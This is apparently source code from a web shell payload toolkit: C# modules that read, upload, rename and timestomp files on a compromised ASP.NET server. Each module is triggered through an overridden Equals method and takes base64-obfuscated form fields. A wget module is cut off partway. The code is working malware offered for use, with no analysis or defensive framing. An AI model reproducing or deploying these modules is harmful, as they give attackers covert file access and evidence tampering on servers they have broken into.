(HttpContext)obj; 73 | this.Response = context.Response; 74 | this.Request = context.Request; 75 | } 76 | catch (Exception) 77 | { 78 | HttpContext context = HttpContext.Current; 79 | this.Response = context.Response; 80 | this.Request = context.Request; 81 | } 82 | } 83 | } 84 | 85 | public String MkdirCode(String path) 86 | { 87 | Directory.CreateDirectory(path); 88 | return "1"; 89 | } 90 | 91 | public String HexAsciiConvert(String hex) 92 | { 93 | StringBuilder sb = new StringBuilder(); 94 | int i; 95 | for (i = 0; i < hex.Length; i += 2) 96 | { 97 | sb.Append(System.Convert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i, 2), 98 | System.Globalization.NumberStyles.HexNumber)))); 99 | } 100 | 101 | return sb.ToString(); 102 | } 103 | 104 | public String decode(String src) 105 | { 106 | int prefixlen = 0; 107 | try 108 | { 109 | prefixlen = Int32.Parse(randomPrefix); 110 | src = src.Substring(prefixlen); 111 | } 112 | catch (Exception e) 113 | { 114 | } 115 | 116 | String ret; 117 | try 118 | { 119 | switch (encoder) 120 | { 121 | case "base64": 122 | { 123 | ret = System.Text.Encoding.GetEncoding(cs).GetString(System.Convert.FromBase64String(src)); 124 | break; 125 | } 126 | case "hex": 127 | { 128 | ret = HexAsciiConvert(src); 129 | break; 130 | } 131 | default: 132 | { 133 | ret = src; 134 | break; 135 | } 136 | } 137 | } 138 | catch (Exception e) 139 | { 140 | ret = e.Message.ToString(); 141 | } 142 | 143 | return ret; 144 | } 145 | 146 | public String asoutput(String src) 147 | { 148 | String ret; 149 | try 150 | { 151 | switch (decoder) 152 | { 153 | case "base64": 154 | { 155 | ret = System.Convert.ToBase64String(System.Text.Encoding.GetEncoding(cs).GetBytes(src)); 156 | break; 157 | } 158 | default: 159 | { 160 | ret = src; 161 | break; 162 | } 163 | } 164 | } 165 | catch (Exception e) 166 | { 167 | ret = e.Message.ToString(); 168 | } 169 | 170 | return ret; 171 | } 172 | } 173 | } -------------------------------------------------------------------------------- /FM_Mkdir/FM_Mkdir.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {CEA75942-96B0-49B5-AD6C-A9BFBB222FDF} 8 | Library 9 | Properties 10 | FM_Mkdir 11 | FM_Mkdir 12 | v2.0 13 | 512 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /FM_Mkdir/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("FM_Mkdir")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("FM_Mkdir")] 12 | [assembly: AssemblyCopyright("Copyright © 2021")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("CEA75942-96B0-49B5-AD6C-A9BFBB222FDF")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.0.0.0")] 35 | [assembly: AssemblyFileVersion("1.0.0.0")] -------------------------------------------------------------------------------- /FM_ReadFile/FM_ReadFile.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Text; 4 | using System.Web; 5 | using System.Web.UI; 6 | 7 | namespace FM_ReadFile 8 | { 9 | public class Run 10 | { 11 | public HttpRequest Request; 12 | public HttpResponse Response; 13 | public String encoder; 14 | public String decoder; 15 | public String cs; 16 | public String randomPrefix; 17 | 18 | 19 | public override bool Equals(object obj) 20 | { 21 | this.parseObj(obj); 22 | this.cs = "UTF-8"; 23 | this.encoder = "base64"; 24 | this.decoder = ""; 25 | this.randomPrefix = "2"; 26 | String tag_s = "->|"; 27 | String tag_e = "|<-"; 28 | this.Response.Charset = cs; 29 | String result = ""; 30 | try 31 | { 32 | if (this.Request.Form["version"] != null) 33 | { 34 | String[] split = System.Text.Encoding.GetEncoding(cs) 35 | .GetString(System.Convert.FromBase64String(this.Request.Form["version"])).Split(';'); 36 | if (split.Length == 1) 37 | { 38 | this.randomPrefix = split[0]; 39 | } 40 | else 41 | { 42 | this.randomPrefix = split[0]; 43 | tag_s = split[1]; 44 | tag_e = split[2]; 45 | } 46 | } 47 | 48 | String path = decode(this.Request.Form["path"]); 49 | result += this.ReadFileCode(path); 50 | } 51 | catch (Exception e) 52 | { 53 | result = "ERROR:// " + e.Message; 54 | } 55 | 56 | this.Response.Write(tag_s + asoutput(result) + tag_e); 57 | return true; 58 | } 59 | 60 | public void parseObj(Object obj) 61 | { 62 | if (obj.GetType().IsArray) 63 | { 64 | Object[] data = (Object[])obj; 65 | this.Request = (HttpRequest)data[0]; 66 | this.Response = (HttpResponse)data[1]; 67 | } 68 | else 69 | { 70 | try 71 | { 72 | HttpContext context = (HttpContext)obj; 73 | this.Response = context.Response; 74 | this.Request = context.Request; 75 | } 76 | catch (Exception) 77 | { 78 | HttpContext context = HttpContext.Current; 79 | this.Response = context.Response; 80 | this.Request = context.Request; 81 | } 82 | } 83 | } 84 | 85 | public string ReadFileCode(String path) 86 | { 87 | String ret = ""; 88 | StreamReader m = new StreamReader(path, Encoding.GetEncoding(cs)); 89 | ret = m.ReadToEnd(); 90 | m.Close(); 91 | return ret; 92 | } 93 | 94 | public String HexAsciiConvert(String hex) 95 | { 96 | StringBuilder sb = new StringBuilder(); 97 | int i; 98 | for (i = 0; i < hex.Length; i += 2) 99 | { 100 | sb.Append(System.Convert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i, 2), 101 | System.Globalization.NumberStyles.HexNumber)))); 102 | } 103 | 104 | return sb.ToString(); 105 | } 106 | 107 | public String decode(String src) 108 | { 109 | int prefixlen = 0; 110 | try 111 | { 112 | prefixlen = Int32.Parse(randomPrefix); 113 | src = src.Substring(prefixlen); 114 | } 115 | catch (Exception e) 116 | { 117 | } 118 | 119 | String ret; 120 | try 121 | { 122 | switch (encoder) 123 | { 124 | case "base64": 125 | { 126 | ret = System.Text.Encoding.GetEncoding(cs).GetString(System.Convert.FromBase64String(src)); 127 | break; 128 | } 129 | case "hex": 130 | { 131 | ret = HexAsciiConvert(src); 132 | break; 133 | } 134 | default: 135 | { 136 | ret = src; 137 | break; 138 | } 139 | } 140 | } 141 | catch (Exception e) 142 | { 143 | ret = e.Message.ToString(); 144 | } 145 | 146 | return ret; 147 | } 148 | 149 | public String asoutput(String src) 150 | { 151 | String ret; 152 | try 153 | { 154 | switch (decoder) 155 | { 156 | case "base64": 157 | { 158 | ret = System.Convert.ToBase64String(System.Text.Encoding.GetEncoding(cs).GetBytes(src)); 159 | break; 160 | } 161 | default: 162 | { 163 | ret = src; 164 | break; 165 | } 166 | } 167 | } 168 | catch (Exception e) 169 | { 170 | ret = e.Message.ToString(); 171 | } 172 | 173 | return ret; 174 | } 175 | } 176 | } -------------------------------------------------------------------------------- /FM_ReadFile/FM_ReadFile.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {D6ABEB05-EB7A-49E3-B466-DDEE32645AEF} 8 | Library 9 | Properties 10 | ReadFile 11 | FM_ReadFile 12 | v2.0 13 | 512 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /FM_ReadFile/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("FM_ReadFile")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("FM_ReadFile")] 12 | [assembly: AssemblyCopyright("Copyright © 2021")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("D6ABEB05-EB7A-49E3-B466-DDEE32645AEF")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.0.0.0")] 35 | [assembly: AssemblyFileVersion("1.0.0.0")] -------------------------------------------------------------------------------- /FM_Rename/FM_Rename.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Text; 4 | using System.Web; 5 | using System.Web.UI; 6 | 7 | namespace FM_Rename 8 | { 9 | public class Run 10 | { 11 | public HttpRequest Request; 12 | public HttpResponse Response; 13 | public String encoder; 14 | public String decoder; 15 | public String cs; 16 | public String randomPrefix; 17 | 18 | 19 | public override bool Equals(object obj) 20 | { 21 | this.parseObj(obj); 22 | this.cs = "UTF-8"; 23 | this.encoder = "base64"; 24 | this.decoder = ""; 25 | this.randomPrefix = "2"; 26 | String tag_s = "->|"; 27 | String tag_e = "|<-"; 28 | this.Response.Charset = cs; 29 | String result = ""; 30 | try 31 | { 32 | if (this.Request.Form["version"] != null) 33 | { 34 | String[] split = System.Text.Encoding.GetEncoding(cs) 35 | .GetString(System.Convert.FromBase64String(this.Request.Form["version"])).Split(';'); 36 | if (split.Length == 1) 37 | { 38 | this.randomPrefix = split[0]; 39 | } 40 | else 41 | { 42 | this.randomPrefix = split[0]; 43 | tag_s = split[1]; 44 | tag_e = split[2]; 45 | } 46 | } 47 | 48 | String path = decode(this.Request.Form["path"]); 49 | String name = decode(this.Request.Form["name"]); 50 | result += this.RenameCode(path, name); 51 | } 52 | catch (Exception e) 53 | { 54 | result = "ERROR:// " + e.Message; 55 | } 56 | 57 | this.Response.Write(tag_s + asoutput(result) + tag_e); 58 | return true; 59 | } 60 | 61 | public void parseObj(Object obj) 62 | { 63 | if (obj.GetType().IsArray) 64 | { 65 | Object[] data = (Object[])obj; 66 | this.Request = (HttpRequest)data[0]; 67 | this.Response = (HttpResponse)data[1]; 68 | } 69 | else 70 | { 71 | try 72 | { 73 | HttpContext context = (HttpContext)obj; 74 | this.Response = context.Response; 75 | this.Request = context.Request; 76 | } 77 | catch (Exception) 78 | { 79 | HttpContext context = HttpContext.Current; 80 | this.Response = context.Response; 81 | this.Request = context.Request; 82 | } 83 | } 84 | } 85 | 86 | public String RenameCode(String oldName, String newName) 87 | { 88 | if (Directory.Exists(oldName)) 89 | { 90 | Directory.Move(oldName, newName); 91 | } 92 | else 93 | { 94 | File.Move(oldName, newName); 95 | } 96 | 97 | return "1"; 98 | } 99 | 100 | public String HexAsciiConvert(String hex) 101 | { 102 | StringBuilder sb = new StringBuilder(); 103 | int i; 104 | for (i = 0; i < hex.Length; i += 2) 105 | { 106 | sb.Append(System.Convert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i, 2), 107 | System.Globalization.NumberStyles.HexNumber)))); 108 | } 109 | 110 | return sb.ToString(); 111 | } 112 | 113 | public String decode(String src) 114 | { 115 | int prefixlen = 0; 116 | try 117 | { 118 | prefixlen = Int32.Parse(randomPrefix); 119 | src = src.Substring(prefixlen); 120 | } 121 | catch (Exception e) 122 | { 123 | } 124 | 125 | String ret; 126 | try 127 | { 128 | switch (encoder) 129 | { 130 | case "base64": 131 | { 132 | ret = System.Text.Encoding.GetEncoding(cs).GetString(System.Convert.FromBase64String(src)); 133 | break; 134 | } 135 | case "hex": 136 | { 137 | ret = HexAsciiConvert(src); 138 | break; 139 | } 140 | default: 141 | { 142 | ret = src; 143 | break; 144 | } 145 | } 146 | } 147 | catch (Exception e) 148 | { 149 | ret = e.Message.ToString(); 150 | } 151 | 152 | return ret; 153 | } 154 | 155 | public String asoutput(String src) 156 | { 157 | String ret; 158 | try 159 | { 160 | switch (decoder) 161 | { 162 | case "base64": 163 | { 164 | ret = System.Convert.ToBase64String(System.Text.Encoding.GetEncoding(cs).GetBytes(src)); 165 | break; 166 | } 167 | default: 168 | { 169 | ret = src; 170 | break; 171 | } 172 | } 173 | } 174 | catch (Exception e) 175 | { 176 | ret = e.Message.ToString(); 177 | } 178 | 179 | return ret; 180 | } 181 | } 182 | } -------------------------------------------------------------------------------- /FM_Rename/FM_Rename.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {0C25A9E4-B490-4E53-BB1E-04B62A5FA796} 8 | Library 9 | Properties 10 | FM_Rename 11 | FM_Rename 12 | v2.0 13 | 512 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /FM_Rename/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("FM_Rename")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("FM_Rename")] 12 | [assembly: AssemblyCopyright("Copyright © 2021")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("0C25A9E4-B490-4E53-BB1E-04B62A5FA796")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.0.0.0")] 35 | [assembly: AssemblyFileVersion("1.0.0.0")] -------------------------------------------------------------------------------- /FM_Retime/FM_Retime.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Text; 4 | using System.Web; 5 | using System.Web.UI; 6 | 7 | namespace FM_Retime 8 | { 9 | public class Run 10 | { 11 | public HttpRequest Request; 12 | public HttpResponse Response; 13 | public String encoder; 14 | public String decoder; 15 | public String cs; 16 | public String randomPrefix; 17 | 18 | 19 | public override bool Equals(object obj) 20 | { 21 | this.parseObj(obj); 22 | this.cs = "UTF-8"; 23 | this.encoder = "base64"; 24 | this.decoder = ""; 25 | this.randomPrefix = "2"; 26 | String tag_s = "->|"; 27 | String tag_e = "|<-"; 28 | this.Response.Charset = cs; 29 | String result = ""; 30 | try 31 | { 32 | if (this.Request.Form["version"] != null) 33 | { 34 | String[] split = System.Text.Encoding.GetEncoding(cs) 35 | .GetString(System.Convert.FromBase64String(this.Request.Form["version"])).Split(';'); 36 | if (split.Length == 1) 37 | { 38 | this.randomPrefix = split[0]; 39 | } 40 | else 41 | { 42 | this.randomPrefix = split[0]; 43 | tag_s = split[1]; 44 | tag_e = split[2]; 45 | } 46 | } 47 | 48 | String path = decode(this.Request.Form["path"]); 49 | String time = decode(this.Request.Form["time"]); 50 | result += this.RetimeCode(path, time); 51 | } 52 | catch (Exception e) 53 | { 54 | result = "ERROR:// " + e.Message; 55 | } 56 | 57 | this.Response.Write(tag_s + asoutput(result) + tag_e); 58 | return true; 59 | } 60 | 61 | public void parseObj(Object obj) 62 | { 63 | if (obj.GetType().IsArray) 64 | { 65 | Object[] data = (Object[])obj; 66 | this.Request = (HttpRequest)data[0]; 67 | this.Response = (HttpResponse)data[1]; 68 | } 69 | else 70 | { 71 | try 72 | { 73 | HttpContext context = (HttpContext)obj; 74 | this.Response = context.Response; 75 | this.Request = context.Request; 76 | } 77 | catch (Exception) 78 | { 79 | HttpContext context = HttpContext.Current; 80 | this.Response = context.Response; 81 | this.Request = context.Request; 82 | } 83 | } 84 | } 85 | 86 | public String RetimeCode(String path, String time) 87 | { 88 | DateTime TM = Convert.ToDateTime(time); 89 | if (Directory.Exists(path)) 90 | { 91 | Directory.SetCreationTime(path, TM); 92 | Directory.SetLastWriteTime(path, TM); 93 | Directory.SetLastAccessTime(path, TM); 94 | } 95 | else 96 | { 97 | File.SetCreationTime(path, TM); 98 | File.SetLastWriteTime(path, TM); 99 | File.SetLastAccessTime(path, TM); 100 | } 101 | 102 | return "1"; 103 | } 104 | 105 | public String HexAsciiConvert(String hex) 106 | { 107 | StringBuilder sb = new StringBuilder(); 108 | int i; 109 | for (i = 0; i < hex.Length; i += 2) 110 | { 111 | sb.Append(System.Convert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i, 2), 112 | System.Globalization.NumberStyles.HexNumber)))); 113 | } 114 | 115 | return sb.ToString(); 116 | } 117 | 118 | public String decode(String src) 119 | { 120 | int prefixlen = 0; 121 | try 122 | { 123 | prefixlen = Int32.Parse(randomPrefix); 124 | src = src.Substring(prefixlen); 125 | } 126 | catch (Exception e) 127 | { 128 | } 129 | 130 | String ret; 131 | try 132 | { 133 | switch (encoder) 134 | { 135 | case "base64": 136 | { 137 | ret = System.Text.Encoding.GetEncoding(cs).GetString(System.Convert.FromBase64String(src)); 138 | break; 139 | } 140 | case "hex": 141 | { 142 | ret = HexAsciiConvert(src); 143 | break; 144 | } 145 | default: 146 | { 147 | ret = src; 148 | break; 149 | } 150 | } 151 | } 152 | catch (Exception e) 153 | { 154 | ret = e.Message.ToString(); 155 | } 156 | 157 | return ret; 158 | } 159 | 160 | public String asoutput(String src) 161 | { 162 | String ret; 163 | try 164 | { 165 | switch (decoder) 166 | { 167 | case "base64": 168 | { 169 | ret = System.Convert.ToBase64String(System.Text.Encoding.GetEncoding(cs).GetBytes(src)); 170 | break; 171 | } 172 | default: 173 | { 174 | ret = src; 175 | break; 176 | } 177 | } 178 | } 179 | catch (Exception e) 180 | { 181 | ret = e.Message.ToString(); 182 | } 183 | 184 | return ret; 185 | } 186 | } 187 | } -------------------------------------------------------------------------------- /FM_Retime/FM_Retime.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {C5C931CA-0FC0-46BA-BB6A-932D5344BCAC} 8 | Library 9 | Properties 10 | FM_Retime 11 | FM_Retime 12 | v2.0 13 | 512 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /FM_Retime/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("FM_Retime")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("FM_Retime")] 12 | [assembly: AssemblyCopyright("Copyright © 2021")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("C5C931CA-0FC0-46BA-BB6A-932D5344BCAC")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.0.0.0")] 35 | [assembly: AssemblyFileVersion("1.0.0.0")] -------------------------------------------------------------------------------- /FM_UploadFile/FM_UploadFile.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Text; 4 | using System.Web; 5 | using System.Web.UI; 6 | 7 | namespace FM_UploadFile 8 | { 9 | public class Run 10 | { 11 | public HttpRequest Request; 12 | public HttpResponse Response; 13 | public String encoder; 14 | public String decoder; 15 | public String cs; 16 | public String randomPrefix; 17 | 18 | 19 | public override bool Equals(object obj) 20 | { 21 | this.parseObj(obj); 22 | this.cs = "UTF-8"; 23 | this.encoder = "base64"; 24 | this.decoder = ""; 25 | this.randomPrefix = "2"; 26 | String tag_s = "->|"; 27 | String tag_e = "|<-"; 28 | this.Response.Charset = cs; 29 | String result = ""; 30 | try 31 | { 32 | if (this.Request.Form["version"] != null) 33 | { 34 | String[] split = System.Text.Encoding.GetEncoding(cs) 35 | .GetString(System.Convert.FromBase64String(this.Request.Form["version"])).Split(';'); 36 | if (split.Length == 1) 37 | { 38 | this.randomPrefix = split[0]; 39 | } 40 | else 41 | { 42 | this.randomPrefix = split[0]; 43 | tag_s = split[1]; 44 | tag_e = split[2]; 45 | } 46 | } 47 | 48 | String path = decode(this.Request.Form["path"]); 49 | String content = decode(this.Request.Form["content"]); 50 | result += this.UploadFileCode(path, content); 51 | } 52 | catch (Exception e) 53 | { 54 | result = "ERROR:// " + e.Message; 55 | } 56 | 57 | this.Response.Write(tag_s + asoutput(result) + tag_e); 58 | return true; 59 | } 60 | 61 | public void parseObj(Object obj) 62 | { 63 | if (obj.GetType().IsArray) 64 | { 65 | Object[] data = (Object[])obj; 66 | this.Request = (HttpRequest)data[0]; 67 | this.Response = (HttpResponse)data[1]; 68 | } 69 | else 70 | { 71 | try 72 | { 73 | HttpContext context = (HttpContext)obj; 74 | this.Response = context.Response; 75 | this.Request = context.Request; 76 | } 77 | catch (Exception) 78 | { 79 | HttpContext context = HttpContext.Current; 80 | this.Response = context.Response; 81 | this.Request = context.Request; 82 | } 83 | } 84 | } 85 | 86 | public string UploadFileCode(String path, String content) 87 | { 88 | byte[] B = new Byte[content.Length / 2]; 89 | for (int i = 0; i < content.Length; i += 2) 90 | { 91 | B[i / 2] = (byte)Convert.ToInt32(content.Substring(i, 2), 16); 92 | } 93 | 94 | FileStream fs = new FileStream(path, FileMode.Append); 95 | fs.Write(B, 0, B.Length); 96 | fs.Close(); 97 | return "1"; 98 | } 99 | 100 | public String HexAsciiConvert(String hex) 101 | { 102 | StringBuilder sb = new StringBuilder(); 103 | int i; 104 | for (i = 0; i < hex.Length; i += 2) 105 | { 106 | sb.Append(System.Convert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i, 2), 107 | System.Globalization.NumberStyles.HexNumber)))); 108 | } 109 | 110 | return sb.ToString(); 111 | } 112 | 113 | public String decode(String src) 114 | { 115 | int prefixlen = 0; 116 | try 117 | { 118 | prefixlen = Int32.Parse(randomPrefix); 119 | src = src.Substring(prefixlen); 120 | } 121 | catch (Exception e) 122 | { 123 | } 124 | 125 | String ret; 126 | try 127 | { 128 | switch (encoder) 129 | { 130 | case "base64": 131 | { 132 | ret = System.Text.Encoding.GetEncoding(cs).GetString(System.Convert.FromBase64String(src)); 133 | break; 134 | } 135 | case "hex": 136 | { 137 | ret = HexAsciiConvert(src); 138 | break; 139 | } 140 | default: 141 | { 142 | ret = src; 143 | break; 144 | } 145 | } 146 | } 147 | catch (Exception e) 148 | { 149 | ret = e.Message.ToString(); 150 | } 151 | 152 | return ret; 153 | } 154 | 155 | public String asoutput(String src) 156 | { 157 | String ret; 158 | try 159 | { 160 | switch (decoder) 161 | { 162 | case "base64": 163 | { 164 | ret = System.Convert.ToBase64String(System.Text.Encoding.GetEncoding(cs).GetBytes(src)); 165 | break; 166 | } 167 | default: 168 | { 169 | ret = src; 170 | break; 171 | } 172 | } 173 | } 174 | catch (Exception e) 175 | { 176 | ret = e.Message.ToString(); 177 | } 178 | 179 | return ret; 180 | } 181 | } 182 | } -------------------------------------------------------------------------------- /FM_UploadFile/FM_UploadFile.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {82F7FFC8-D783-4545-95A2-55C608C32E84} 8 | Library 9 | Properties 10 | FM_UploadFile 11 | FM_UploadFile 12 | v2.0 13 | 512 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /FM_UploadFile/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("FM_UploadFile")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("FM_UploadFile")] 12 | [assembly: AssemblyCopyright("Copyright © 2021")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("82F7FFC8-D783-4545-95A2-55C608C32E84")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.0.0.0")] 35 | [assembly: AssemblyFileVersion("1.0.0.0")] -------------------------------------------------------------------------------- /FM_Wget/FM_Wget.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Net; 4 | using System.Text; 5 | using System.Web; 6 | using System.Web.UI; 7 | 8 | namespace FM_Wget 9 | { 10 | public class Run 11 | { 12 | public HttpRequest Request; 13 | public HttpResponse Response; 14 | public String encoder; 15 | public String decoder; 16 | public String cs; 17 | public String randomPrefix; 18 | 19 | 20 | public override bool Equals(object obj) 21 | { 22 | this.parseObj(obj); 23 | this.cs = "UTF-8"; 24 | this.encoder = "base64"; 25 | this.decoder = ""; 26 | this.randomPrefix = "2"; 27 | String tag_s = "->|"; 28 | String tag_e = "|<-"; 29 | this.Response.Charset = cs; 30 | String result = ""; 31 | try 32 | { 33 | if (this.Request.Form["version"] != null) 34 | { 35 | String[] split = System.Text.Encoding.GetEncoding(cs) 36 | .GetString(System.Convert.FromBase64String(this.Request.Form["version"])).Split(';'); 37 | if (split.Length == 1) 38 | { 39 | this.randomPrefix = split[0]; 40 | } 41 | else 42 | { 43 | this.randomPrefix = split[0]; 44 | tag_s = split[1]; 45 | tag_e = split[2]; 46 | } 47 | } 48 | 49 | String url = decode(this.Request.Form["url"]); 50 | String path = decode(this.Request.Form["path"]); 51 | result += this.WgetCode(url, path); 52 | } 53 | catch (Exception e) 54 | { 55 | result = "ERROR:// " + e.Message; 56 | } 57 | 58 | this.Response.Write(tag_s + asoutput(result) + tag_e); 59 | return true; 60 | } 61 | 62 | public void parseObj(Object obj) 63 | { 64 | if (obj.GetType().IsArray) 65 | { 